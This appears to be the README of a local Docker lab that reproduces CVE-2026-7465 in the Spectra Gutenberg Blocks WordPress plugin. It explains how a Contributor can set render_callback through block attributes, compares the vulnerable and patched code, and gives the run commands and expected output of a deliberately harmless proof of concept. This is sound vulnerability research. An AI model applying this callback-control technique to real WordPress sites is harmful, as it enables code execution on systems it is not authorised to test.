## https://sploitus.com/exploit?id=3B2CAEAD-C048-5679-9B43-4A34B170FFE2
# CVE-2026-7465 - Spectra Gutenberg Blocks Local Lab
Local Docker lab for analyzing and reproducing CVE-2026-7465 in the WordPress plugin **Spectra Gutenberg Blocks** (`ultimate-addons-for-gutenberg`).
This lab compares:
- `vuln`: Spectra `2.19.25`
- `patched`: Spectra `2.19.26`
The proof is intentionally least-harm. It does not execute shell commands, upload files, create users, or modify the container directly. The PoC creates a temporary WordPress draft post, checks rendered block behavior, then deletes the draft.
---
## Summary
CVE-2026-7465 is a vulnerability in Spectra Gutenberg Blocks where user-controlled Gutenberg block attributes could be passed into WordPress block registration arguments.
In the vulnerable version, Spectra dynamically registers parsed `uagb/*` blocks using block attributes from post content:
```php
$registry->register( $block['blockName'], $block['attrs'] );
```
Because a Contributor can create post content containing Gutenberg block comments, an authenticated Contributor-level user can influence registration arguments such as `render_callback`.
Version `2.19.26` fixes the issue by registering the block with an empty argument array:
```php
$registry->register( $block['blockName'], array() );
```
This prevents post-controlled block attributes from becoming PHP block registration options.
---
## Affected Component
Product:
```text
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
```
Versions used in this lab:
```text
vulnerable: 2.19.25
patched: 2.19.26
```
WordPress.org changelog for `2.19.26` states that the update addressed a security bug and credits Wordfence for responsible reporting.
---
## Root Cause
The vulnerable logic is located in:
```text
classes/class-uagb-init-blocks.php
```
The vulnerable code checks whether a parsed block name contains the `uagb/` namespace. If the block is not already registered, it registers the block dynamically.
### Vulnerable behavior
```php
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
```
The issue is the second argument:
```php
$block['attrs']
```
In Gutenberg, block attributes can be stored inside post content, for example:
```html
```
A Contributor can create draft post content. Therefore, the attacker can influence `$block['attrs']`.
When those attributes are passed into `WP_Block_Type_Registry::register()`, they become block registration arguments. One sensitive registration argument is:
```text
render_callback
```
This creates a callback-control primitive.
### Patched behavior
In `2.19.26`, Spectra still registers the parsed `uagb/*` block name, but no longer passes post-controlled attributes as registration arguments:
```php
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
```
The important change is:
```diff
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
```
This removes attacker-controlled attributes from the block registration path.
---
## Why the PoC Uses `maybe_serialize`
The PoC does not use dangerous PHP callbacks such as `system`, `exec`, `shell_exec`, or `passthru`.
Instead, it uses:
```text
maybe_serialize
```
The proof block content is:
```html
```
Expected behavior:
```text
vulnerable:
render_callback from block attrs is accepted
marker appears in rendered content
patched:
render_callback from block attrs is ignored
marker does not appear in rendered content
```
This proves the vulnerable behavior without executing commands or writing files.
---
## Lab Architecture
Services:
```text
db_vuln MariaDB for vulnerable WordPress
db_patched MariaDB for patched WordPress
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site
```
Local ports:
```text
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress
```
Seeded WordPress user:
```text
username: contributor
password: contributorpass123!
role: contributor
```
The PoC is HTTP-only. It interacts with WordPress through login and REST API requests.
---
## Repository Structure
```text
.
โโโ docker-compose.yml
โโโ patched
โ โโโ Dockerfile
โโโ poc
โ โโโ poc.py
โโโ scripts
โ โโโ seed-wordpress.sh
โโโ vuln
โ โโโ Dockerfile
```
---
## Running the Lab
Start from a clean environment:
```bash
docker compose down -v --remove-orphans
docker compose up -d --build
```
Check containers:
```bash
docker compose ps
```
Check seed logs:
```bash
docker compose logs seed_vuln seed_patched
```
Expected seed result:
```text
[+] seed vuln: done
[+] seed patched: done
```
---
## Running the PoC
Test vulnerable target:
```bash
python3 poc/poc.py -t http://127.0.0.1:8181
```
Expected vulnerable verdict:
```text
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
```
Test patched target:
```bash
python3 poc/poc.py -t http://127.0.0.1:8182
```
Expected patched verdict:
```text
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
```
---
## Expected Output
### Vulnerable - Spectra 2.19.25
```text
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
```
### Patched - Spectra 2.19.26
```text
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
```
---
## Evidence Interpretation
The important comparison is:
```text
raw_contains_marker
rendered_contains_marker
```
Both vulnerable and patched targets should show:
```text
raw_contains_marker: True
```
This confirms the same block content was successfully saved into a temporary draft post.
The difference is in rendered output:
```text
vulnerable:
rendered_contains_marker: True
patched:
rendered_contains_marker: False
```
This demonstrates that the vulnerable version accepted the post-controlled `render_callback`, while the patched version did not.
## Cleanup
Stop and remove containers, networks, and volumes:
```bash
docker compose down -v --remove-orphans
```
Remove Python cache if present:
```bash
rm -rf poc/__pycache__
```
---
## Safety Notes
This repository is for local security research and portfolio demonstration only.
The PoC:
- only targets localhost or loopback addresses
- uses authenticated WordPress access in the local lab
- creates a temporary draft post
- deletes the draft post after checking rendered behavior
- does not execute shell commands
- does not upload files
- does not create users
- does not modify Docker containers directly
- does not provide a remote exploitation workflow
Do not run this against systems you do not own or do not have explicit permission to test.
---
## References
- WordPress.org Plugin Page: Spectra Gutenberg Blocks - Website Builder for the Block Editor
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
- WordPress.org Changelog: `2.19.26 - Monday, 4th May 2026` security update credited to Wordfence
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
- WordPress Plugin SVN / Trac
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/